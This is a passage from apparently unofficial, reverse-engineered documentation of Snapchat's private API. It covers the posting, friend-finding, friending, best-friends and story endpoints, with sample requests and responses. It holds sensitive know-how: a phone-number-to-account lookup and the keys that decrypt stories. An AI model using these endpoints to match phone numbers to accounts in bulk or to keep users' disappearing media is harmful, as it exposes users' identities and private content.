class="o">:</span> <span class="mi">10</span><span class="p">,</span> <span class="nx">data</span><span class="o">:</span> <span class="nx">ENCRYPTED_STORY_DATA</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>media_id</code></td> <td>str</td> <td>A unique identifier for this media - Snapchat uses a UUID.</td> </tr> <tr> <td><code>client_id</code></td> <td>str</td> <td>A unique client identifier - the same as the given <code>media_id</code>.</td> </tr> <tr> <td><code>caption_text_display</code></td> <td>str</td> <td>Some form of caption - doesn&#39;t seem to be honored/rendered by the receiving client.</td> </tr> <tr> <td><code>thumbnail_data</code>*</td> <td>data</td> <td>Optional thumbnail data. It will be generated for you if you leave this out.</td> </tr> <tr> <td><code>zipped</code>*</td> <td>str</td> <td><code>0</code> or <code>1</code>, indicating whether or not the data is <a href="#gzipping-data">gzipped</a>.</td> </tr> <tr> <td><code>type</code></td> <td>int</td> <td>The type of media you&#39;re uploading - <code>0</code> for images, <code>1</code> for videos</td> </tr> <tr> <td><code>time</code></td> <td>int</td> <td>An integer, 1-10 inclusive of how long the snap will display for.</td> </tr> <tr> <td><code>data</code></td> <td>data</td> <td>The <a href="#encryptingdecrypting-data">encrypted</a> media data.</td> </tr> </tbody></table> <p>If your request was <strong>successful</strong>, you&#39;ll get back something similar to <a href="#posting-to-a-story-bqpost_story">posting to a story</a></p> <h1 id='posting-to-a-story-and-sending-a-snap-bqdouble_post' class='link-to'>Posting to a story and sending a snap (<code>/bq/double_post</code>) <a class='pilcrow' title='Permalink to this section' href='#posting-to-a-story-and-sending-a-snap-bqdouble_post'>露</a></h1> <p>This is the same as <a href="#sending-it-off-phsend">sending a normal snap</a>, however there are extra fields sent:</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">&quot;youraccount&quot;</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">media_id</span><span class="o">:</span> <span class="s2">&quot;YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f&quot;</span><span class="p">,</span> <span class="nx">client_id</span><span class="o">:</span> <span class="s2">&quot;YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f&quot;</span><span class="p">,</span> <span class="nx">recipient</span><span class="o">:</span> <span class="s2">&quot;teamsnapchat,someguy&quot;</span><span class="p">,</span> <span class="nx">caption_text_display</span><span class="o">:</span> <span class="s2">&quot;Foo, bar, baz!&quot;</span><span class="p">,</span> <span class="nx">thumbnail_data</span><span class="o">:</span> <span class="nx">ENCRYPTED_THUMBNAIL_DATA</span><span class="p">,</span> <span class="nx">type</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span> <span class="nx">time</span><span class="o">:</span> <span class="mi">5</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>media_id</code></td> <td>str</td> <td>A unique identifier for this media - Snapchat uses a UUID.</td> </tr> <tr> <td><code>client_id</code></td> <td>str</td> <td>A unique client identifier - the same as the given <code>media_id</code> (from an upload).</td> </tr> <tr> <td><code>recipient</code></td> <td>str</td> <td>A comma delimited list of recipients - e.g. <code>teamsnapchat,someguy</code></td> </tr> <tr> <td><code>caption_text_display</code></td> <td>str</td> <td>Some form of caption - doesn&#39;t seem to be honored/rendered by the receiving client.</td> </tr> <tr> <td><code>thumbnail_data</code>*</td> <td>data</td> <td>Optional thumbnail data. It will be generated for you if you leave this out.</td> </tr> <tr> <td><code>type</code></td> <td>int</td> <td>The type of media you&#39;re uploading - <code>0</code> for images, <code>1</code> for videos</td> </tr> <tr> <td><code>time</code></td> <td>int</td> <td>An integer, 1-10 inclusive of how long the snap will display for.</td> </tr> </tbody></table> <p>If your request <strong>failed</strong> you&#39;ll most likely get a <code>400 Bad Request</code>.<br> If your request was <strong>successful</strong>, you&#39;ll get something like this back:</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">story_response</span><span class="o">:</span> <span class="p">{</span> <span class="nx">json</span><span class="o">:</span> <span class="p">{</span> <span class="nx">story</span><span class="o">:</span> <span class="p">{</span> <span class="nx">caption_text_display</span><span class="o">:</span> <span class="s2">&quot;Foo, bar, baz!&quot;</span><span class="p">,</span> <span class="nx">id</span><span class="o">:</span> <span class="s2">&quot;youraccount~1385367025231&quot;</span><span class="p">,</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">&quot;youraccount&quot;</span><span class="p">,</span> <span class="nx">mature_content</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span> <span class="nx">client_id</span><span class="o">:</span> <span class="s2">&quot;YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f&quot;</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1385367025231</span><span class="p">,</span> <span class="nx">media_id</span><span class="o">:</span> <span class="s2">&quot;6539144374653924&quot;</span><span class="p">,</span> <span class="nx">media_key</span><span class="o">:</span> <span class="s2">&quot;/crVtkYOvpDOVA8C8MhR+qWlzFkFodQi+2iOAK84E+Q=&quot;</span><span class="p">,</span> <span class="nx">media_iv</span><span class="o">:</span> <span class="s2">&quot;oBp82Gr0tGHfBzC42cyleg==&quot;</span><span class="p">,</span> <span class="nx">thumbnail_iv</span><span class="o">:</span> <span class="s2">&quot;UvCn/A+2qrXchJG0J6gCSw==&quot;</span><span class="p">,</span> <span class="nx">media_type</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span> <span class="nx">time</span><span class="o">:</span> <span class="mf">5.0</span><span class="p">,</span> <span class="nx">time_left</span><span class="o">:</span> <span class="mi">86399908</span><span class="p">,</span> <span class="nx">media_url</span><span class="o">:</span> <span class="s2">&quot;https://feelinsonice-hrd.appspot.com/bq/story_blob?story_id=6539144374653924&quot;</span><span class="p">,</span> <span class="nx">thumbnail_url</span><span class="o">:</span> <span class="s2">&quot;https://feelinsonice-hrd.appspot.com/bq/story_thumbnail?story_id=6539144374653924&quot;</span> <span class="p">}</span> <span class="p">},</span> <span class="nx">success</span><span class="o">:</span> <span class="kc">true</span> <span class="p">},</span> <span class="nx">snap_response</span><span class="o">:</span> <span class="p">{</span> <span class="nx">success</span><span class="o">:</span> <span class="kc">true</span> <span class="p">}</span> <span class="p">}</span> </pre></div> <p>This reply is split into two portions: <code>story_response</code> and <code>snap_response</code>.<br> Both fields (<code>story_response</code> and <code>snap_response</code>) contain <code>success</code>, which is similar to the <a href="#common-fields">common field, <code>logged</code></a>.</p> <p><code>story_response.json.story</code></p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>caption_text_display</code></td> <td>str</td> <td>Some form of caption - doesn&#39;t seem to be honored/rendered by the receiving client.</td> </tr> <tr> <td><code>id</code></td> <td>str</td> <td>Your username (lowercase), a tilde, and the returned <code>timestamp</code>.</td> </tr> <tr> <td><code>username</code></td> <td>str</td> <td>Your account username.</td> </tr> <tr> <td><code>mature_content</code></td> <td>bool</td> <td>Whether or not story contains mature content.</td> </tr> <tr> <td><code>client_id</code></td> <td>str</td> <td>The <code>media_id</code>/<code>client_id</code> you sent originally.</td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>The reply timestamp.</td> </tr> <tr> <td><code>media_id</code></td> <td>str</td> <td>An id for this specific story segment.</td> </tr> <tr> <td><code>media_key</code></td> <td>str</td> <td>base64&#39;d key for <a href="#encrypting-stories">decrypting</a> this story (note, you also need the IV!).</td> </tr> <tr> <td><code>media_iv</code></td> <td>str</td> <td>base64&#39;d IV for decrypting this story (note, you also need the key!).</td> </tr> <tr> <td><code>thumbnail_iv</code></td> <td>str</td> <td>base64&#39;d IV for decrypting the thumbnail (use <code>media_key</code>!).</td> </tr> <tr> <td><code>media_type</code></td> <td>int</td> <td>The type of media: <code>0</code> for images, <code>1</code> for videos.</td> </tr> <tr> <td><code>time</code></td> <td>long</td> <td>The time this segment should be visible for.</td> </tr> <tr> <td><code>time_left</code></td> <td>int</td> <td>The seconds left (<code>*1000</code>, for some reason) before this story expires.</td> </tr> <tr> <td><code>media_url</code></td> <td>str</td> <td>A URL you can hit via GET to fetch the story&#39;s blob data.</td> </tr> <tr> <td><code>thumbnail_url</code></td> <td>str</td> <td>A URL you can hit via GET to fetch the thumbnail&#39;s blob data.</td> </tr> </tbody></table> <h1 id='finding-your-friends-phfind_friends' class='link-to'>Finding your friends (<code>/ph/find_friends</code>) <a class='pilcrow' title='Permalink to this section' href='#finding-your-friends-phfind_friends'>露</a></h1> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">&quot;youraccount&quot;</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">countryCode</span><span class="o">:</span> <span class="s2">&quot;US&quot;</span><span class="p">,</span> <span class="nx">numbers</span><span class="o">:</span> <span class="s2">&quot;{\&quot;2125554240\&quot;: \&quot;Norm (Security)\&quot;, \&quot;3114378739\&quot;: \&quot;Stephen Falken\&quot;}&quot;</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>countryCode</code></td> <td>str</td> <td>A two character <a href="https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2">ISO 3166-1 alpha-2</a> country code.</td> </tr> <tr> <td><code>numbers</code></td> <td>str</td> <td>A string representation of a hash map with phone numbers relating to display names.</td> </tr> </tbody></table> <div class="highlight"><pre><span class="p">{</span> <span class="nx">logged</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span> <span class="nx">results</span><span class="o">:</span> <span class="p">[</span> <span class="p">{</span><span class="nx">name</span><span class="o">:</span> <span class="s2">&quot;norman&quot;</span><span class="p">,</span> <span class="nx">display</span><span class="o">:</span> <span class="s2">&quot;Norm (Security)&quot;</span><span class="p">,</span> <span class="nx">type</span><span class="o">:</span> <span class="mi">1</span><span class="p">},</span> <span class="p">{</span><span class="nx">name</span><span class="o">:</span> <span class="s2">&quot;stephenfalken&quot;</span><span class="p">,</span> <span class="nx">display</span><span class="o">:</span> <span class="s2">&quot;Stephen Falken&quot;</span><span class="p">,</span> <span class="nx">type</span><span class="o">:</span> <span class="mi">0</span><span class="p">}</span> <span class="p">]</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>logged</code></td> <td>bool</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>results</code></td> <td>list</td> <td>A list of relevant results about found friends. Innards explained below.</td> </tr> </tbody></table> <p>The <code>results</code> field contains a list of maps each with three fields:</p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>name</code></td> <td>str</td> <td>The account username of this person.</td> </tr> <tr> <td><code>display</code></td> <td>str</td> <td>The display name reported to <code>/ph/find_friends</code>.</td> </tr> <tr> <td><code>type</code></td> <td>int</td> <td>Whether the account is: public, <code>0</code>; private, <code>1</code>.</td> </tr> </tbody></table> <h1 id='making---or-losing---friends-phfriend' class='link-to'>Making - or losing - friends (<code>/ph/friend</code>) <a class='pilcrow' title='Permalink to this section' href='#making---or-losing---friends-phfriend'>露</a></h1> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">&quot;youraccount&quot;</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">action</span><span class="o">:</span> <span class="s2">&quot;add&quot;</span><span class="p">,</span> <span class="nx">friend</span><span class="o">:</span> <span class="s2">&quot;someguy&quot;</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>action</code></td> <td>str</td> <td>What type of action you&#39;re taking: <code>add</code>, <code>delete</code>, <code>block</code>, <code>unblock</code>, or <code>display</code>.</td> </tr> <tr> <td><code>friend</code></td> <td>str</td> <td>The user (account name) we&#39;re applying this action to.</td> </tr> </tbody></table> <p><strong>NB!</strong> The action <code>display</code> requires an extra field called <code>display</code>, which is the display name you&#39;re applying to the user.<br> If your request was <strong>successful</strong>, you&#39;ll get something like this back:</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">message</span><span class="o">:</span> <span class="s2">&quot;someguy was blocked&quot;</span><span class="p">,</span> <span class="nx">param</span><span class="o">:</span> <span class="s2">&quot;someguy&quot;</span><span class="p">,</span> <span class="nx">logged</span><span class="o">:</span> <span class="kc">true</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>logged</code></td> <td>bool</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>param</code></td> <td>str</td> <td>The user (given by <code>friend</code> in req.) the action was applied to.</td> </tr> <tr> <td><code>message</code></td> <td>str</td> <td>A user presentable message explaining what action was taken.</td> </tr> </tbody></table> <h1 id='getting-your-friends39-best-friends-bqbests' class='link-to'>Getting your friends&#39; best friends (<code>/bq/bests</code>) <a class='pilcrow' title='Permalink to this section' href='#getting-your-friends39-best-friends-bqbests'>露</a></h1> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">&quot;youraccount&quot;</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">friend_usernames</span><span class="o">:</span> <span class="s2">&quot;[&#39;teamsnapchat&#39;,&#39;another_username&#39;]&quot;</span><span class="p">,</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>friend_usernames</code></td> <td>str</td> <td>A string representation of a JSON list of friend usernames.</td> </tr> </tbody></table> <p><strong>NB!</strong> Any usernames that are not on your friends list will be completely omitted from the response.<br> If the request was <strong>successful</strong>, you&#39;ll get a response similar to this:</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">teamsnapchat</span><span class="o">:</span> <span class="p">{</span> <span class="nx">best_friends</span><span class="o">:</span> <span class="p">[</span><span class="s2">&quot;friend_one&quot;</span><span class="p">,</span> <span class="s2">&quot;friend_two&quot;</span><span class="p">,</span> <span class="s2">&quot;friend_three&quot;</span><span class="p">],</span> <span class="nx">score</span><span class="o">:</span> <span class="mi">100</span> <span class="p">},</span> <span class="nx">another_username</span><span class="o">:</span> <span class="p">{</span> <span class="nx">best_friends</span><span class="o">:</span> <span class="p">[</span><span class="s2">&quot;friend_one&quot;</span><span class="p">,</span> <span class="s2">&quot;friend_two&quot;</span><span class="p">,</span> <span class="s2">&quot;friend_three&quot;</span><span class="p">],</span> <span class="nx">score</span><span class="o">:</span> <span class="mi">100</span> <span class="p">}</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>best_friends</code></td> <td>list</td> <td>List of the given user&#39;s best friends.</td> </tr> <tr> <td><code>score</code></td> <td>int</td> <td>The given user&#39;s Snapchat score.</td> </tr> </tbody></table> <h1 id='getting-your-friends-stories-bqstories' class='link-to'>Getting your friends stories (<code>/bq/stories</code>) <a class='pilcrow' title='Permalink to this section' href='#getting-your-friends-stories-bqstories'>露</a></h1> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">&quot;youraccount&quot;</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">)</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> </tbody></table> <p>If your request was <strong>successful</strong>, you&#39;ll get back something like this (hefty reply):</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">mature_content_text</span><span class="o">:</span> <span class="p">{</span> <span class="nx">title</span><span class="o">:</span> <span class="s2">&quot;Content Warning&quot;</span><span class="p">,</span> <span class="nx">message</span><span class="o">:</span> <span class="s2">&quot;The red exclamation mark on this Story indicates that Stories posted by this user may not be suitable for sensitive viewers. Do you wish to continue? After selecting &#39;Yes&#39;, you will never be prompted again.&quot;</span><span class="p">,</span> <span class="nx">yes_text</span><span class="o">:</span> <span class="s2">&quot;Yes&quot;</span><span class="p">,</span> <span class="nx">no_text</span><span class="o">:</span> <span class="s2">&quot;No&quot;</span> <span class="p">},</span> <span class="nx">my_stories</span><span class="o">:</span> <span class="p">[</span> <span class="p">{</span> <span class="nx">story</span><span class="o">:</span> <span class="p">{</span> <span class="nx">id</span><span class="o">:</span> <span class="s2">&quot;youraccount~1386362095231&quot;</span><span class="p">,</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">&quot;youraccount&quot;</span><span class="p">,</span> <span class="nx">mature_content</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span> <span class="nx">client_id</span><span class="o">:</span> <span class="s2">&quot;YOURACCOUNT~e87a8f71-078b-4483-b051-b78f3d008717&quot;</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1386362095231</span><span class="p">,</span> <span class="nx">media_id</span><span class="o">:</span> <span class="s2">&quot;6529624334955984&quot;</span><span class="p">,</span> <span class="nx">media_key</span><span class="o">:</span> <span class="s2">&quot;/crVtkYOvpBAV08C8MhH+hWl4FDFodCi+2iOAK84E+Q=&quot;</span><span class="p">,</span> <span class="nx">media_iv</span><span class="o">:</span> <span class="s2">&quot;oBp22Gr0t2HABDC4Wcylng==&quot;</span><span class="p">,</span> <span class="nx">thumbnail_iv</span><span class="o">:</span> <span class="s2">&quot;UvCn/A+AqwXDCJG0Y6gCSw==&quot;</span><span class="p">,</span> <span class="nx">media_type</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span> <span class="nx">time</span><span class="o">:</span> <span class="mf">5.0</span><span class="p">,</span> <span class="nx">time_left</span><span class="o">:</span> <span class="mi">5885762</span><span class="p">,</span> <span class="nx">media_url</span><span class="o">:</span> <span class="s2">&quot;https://feelinsonice-hrd.appspot.com/bq/story_blob?story_id=6529624334955984&quot;</span><span class="p">,</span> <span class="nx">thumbnail_url</span><span class="o">:</span> <span class="s2">&quot;https://feelinsonice-hrd.appspot.com/bq/story_thumbnail?story_id=6529624334955984&quot;</span> <span class="p">},</span> <span class="nx">story_notes</span><span class="o">:</span> <span class="p">[</span> <span class="p">{</span> <span class="nx">viewer</span><span class="o">:</span> <span class="s2">&quot;someguy&quot;</span><span class="p">,</span> <span class="nx">screenshotted</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1385367139674</span><span class="p">,</span> <span class="nx">storypointer</span><span class="o">:</span> <span class="p">{</span><span class="s2">&quot;mKey&quot;</span><span class="o">:</span><span class="s2">&quot;story:{youraccount}:19841127&quot;</span><span class="p">,</span><span class="s2">&quot;mField&quot;</span><span class="o">:</span><span class="s2">&quot;071025.221Z&quot;</span><span class="p">}</span> <span class="p">}</span> <span class="p">],</span> <span class="nx">story_extras</span><span class="o">:</span> <span class="p">{</span><span class="nx">view_count</span><span class="o">:</span> <span class="mi">1</span><span class="p">,</span> <span class="nx">screenshot_count</span><span class="o">:</span> <span class="mi">0</span><span class="p">}</span> <span class="p">},</span> <span class="p">{</span> <span class="nx">story</span><span class="o">:</span> <span class="p">{</span> <span class="nx">id</span><span class="o">:</span> <span class="s2">&quot;youraccount~1386362095231&quot;</span><span class="p">,</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">&quot;youraccount&quot;</span><span class="p">,</span> <span class="nx">mature_content</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span> <span class="nx">client_id</span><span class="o">:</span> <span class="s2">&quot;YOURACCOUNT~eb53ae24-7534-40e6-4a00-b611a90ab6c4&quot;</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1386362095231</span><span class="p">,</span> <span class="nx">media_id</span><span class="o">:</span> <span class="s2">&quot;7799203240896396&quot;</span><span class="p">,</span> <span class="nx">media_key</span><span class="o">:</span> <span class="s2">&quot;dvv5/CXFOwOkskitqrX/x2PkQarzHAbPMwkzM0aWHIY=&quot;</span><span class="p">,</span> <span class="nx">media_iv</span><span class="o">:</span> <span class="s2">&quot;4hJppjXvdjjqIgjxG6vExQ==&quot;</span><span class="p">,</span> <span class="nx">thumbnail_iv</span><span class="o">:</span> <span class="s2">&quot;rC4UM3bgGPTTg7ovzO1fug==&quot;</span><span class="p">,</span> <span class="nx">media_type</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span> <span class="nx">time</span><span class="o">:</span> <span class="mf">5.0</span><span class="p">,</span> <span class="nx">caption_text_display</span><span class="o">:</span> <span class="s2">&quot;Hack the planet, hack the planet!&quot;</span><span class="p">,</span> <span class="nx">time_left</span><span class="o">:</span> <span class="mi">5658516</span><span class="p">,</span> <span class="nx">media_url</span><span class="o">:</span> <span class="s2">&quot;https://feelinsonice-hrd.appspot.com/bq/story_blob?story_id=7799203240896396&quot;</span><span class="p">,</span> <span class="nx">thumbnail_url</span><span class="o">:</span> <span class="s2">&quot;https://feelinsonice-hrd.appspot.com/bq/story_thumbnail?story_id=7799203240896396&quot;</span> <span class="p">},</span> <span class="nx">story_notes</span><span class="o">:</span> <span class="p">[</span> <span class="p">{</span> <span class="nx">viewer</span><span class="o">:</span> <span class="s2">&quot;someguy&quot;</span><span class="p">,</span> <span class="nx">screenshotted</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1385366714056</span><span class="p">,</span> <span class="nx">storypointer</span><span class="o">:</span> <span class="p">{</span><span class="s2">&quot;mKey&quot;</span><span class="o">:</span><span class="s2">&quot;story:{youraccount}:19841127&quot;</span><span class="p">,</span><span class="s2">&quot;mField&quot;</span><span class="o">:</span><span class="s2">&quot;070637.986Z&quot;</span><span class="p">}</span> <span class="p">}</span> <span class="p">],</span> <span class="nx">story_extras</span><span class="o">:</span> <span class="p">{</span><span class="nx">view_count</span><span class="o">:</span> <span class="mi">1</span><span class="p">,</span> <span class="nx">screenshot_count</span><span class="o">:</span> <span class="mi">0</span><span class="p">}</span> <span class="p">}</span> <span class="p">],</span> <span class="nx">friend_stories</span><span class="o">:</span> <span class="p">[</span> <span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">&quot;someguy&quot;</span><span class="p">,</span> <span class="nx">stories</span><span class="o">:</span> <span class="p">[</span> <span class="p">{</span> <span class="nx">story</span><span class="o">:</span> <span class="p">{</span> <span class="nx">id</span><span class="o">:</span> <span class="s2">&quot;someguy~1385439004799&quot;</span><span class="p">,</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">&quot;someguy&quot;</span><span class="p">,</span> <span class="nx">mature_content</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span> <span class="nx">client_id</span><span class="o">:</span> <span class="s2">&quot;SOMEGUY~24823793-8333-4542-QF6C-D765CD6786D4&quot;</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1385452007799</span><span class="p">,</span> <span class="nx">media_id</span><span class="o">:</span> <span class="s2">&quot;5549685943463504&quot;</span><span class="p">,</span> <span class="nx">media_key</span><span class="o">:</span> <span class="s2">&quot;m1/kTyqt0E55jPyX+PexCP1++PUxTM6lqZC8kU/zcgI=&quot;</span><span class="p">,</span> <span class="nx">media_iv</span><span class="o">:</span> <span class="s2">&quot;GvH/izpqBVBZQaAlmxWSSA==&quot;</span><span class="p">,</span> <span class="nx">thumbnail_iv</span><span class="o">:</span> <span class="s2">&quot;Jx4tNSAaCuIkSX5DttTZJw==&quot;</span><span class="p">,</span> <span class="nx">media_type</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span> <span class="nx">time</span><span class="o">:</span> <span class="mf">10.0</span><span class="p">,</span> <span class="nx">zipped</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span> <span class="nx">time_left</span><span class="o">:</span> <span class="mi">86361636</span><span class="p">,</span> <span class="nx">media_url</span><span class="o">:</span> <span class="s2">&quot;https://feelinsonice-hrd.appspot.com/bq/story_blob?story_id=5549685943463504&quot;</span><span class="p">,</span> <span class="nx">thumbnail_url</span><span class="o">:</span> <span class="s2">&quot;https://feelinsonice-hrd.appspot.com/bq/story_thumbnail?story_id=5549685943463504&quot;</span> <span class="p">},</span> <span class="nx">viewed</span><span class="o">:</span> <span class="kc">false</span> <span class="p">}</span> <span class="p">]</span> <span class="p">}</span> <span class="p">]</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>mature_content_text</code></td> <td>dict</td> <td>A dictionary with some strings to be displayed in a warning modal about mature content.</td> </tr> <tr> <td><code>my_stories</code></td> <td>list</td> <td>A list of all segments of your story - See <em>below</em>.</td> </tr> <tr> <td><code>friend_stories</code></td> <td>list</td> <td>A list of your friend&#39;s stories and their segments - See <em>below</em>.</td> </tr> </tbody></table> <p><code>my_stories.story</code> is a dictionary of:</p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>id</code></td> <td>str</td> <td>Your username (lowercase), a tilde, and the returned <code>timestamp</code>.</td> </tr> <tr> <td><code>username</code></td> <td>str</td> <td>Your account username.</td> </tr> <tr> <td><code>mature_content</code></td> <td>bool</td> <td>Whether or not this segment contains mature content.</td> </tr> <tr> <td><code>client_id</code></td> <td>str</td> <td>Standard media_id in the format of <code>USERNAME~UUID</code></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>The reply timestamp (<code>*1000</code>).</td> </tr> <tr> <td><code>media_id</code></td> <td>str</td> <td>An id for this specific story segment.</td> </tr> <tr> <td><code>media_key</code></td> <td>str</td> <td>base64&#39;d key for <a href="#encrypting-stories">decrypting</a> this story (note, you also need the IV!).</td> </tr> <tr> <td><code>media_iv</code></td> <td>str</td> <td>base64&#39;d IV for decrypting this story (note, you also need the key!).</td> </tr> <tr> <td><code>thumbnail_iv</code></td> <td>str</td> <td>base64&#39;d IV for decrypting the thumbnail (use <code>media_key</code>!).</td> </tr> <tr> <td><code>media_type</code></td> <td>int</td> <td>The type of media: <code>0</code> for images, <code>1</code> for videos.</td> </tr> <tr> <td><code>time</code></td> <td>long</td> <td>The time this segment should be visible for.</td> </tr> <tr> <td><code>time_left</code></td> <td>int</td> <td>The seconds left (<code>*1000</code>, for some reason) before this story expires.</td> </tr> <tr> <td><code>media_url</code></td> <td>str</td> <td>A URL you can hit via GET to fetch the story&#39;s blob data.</td> 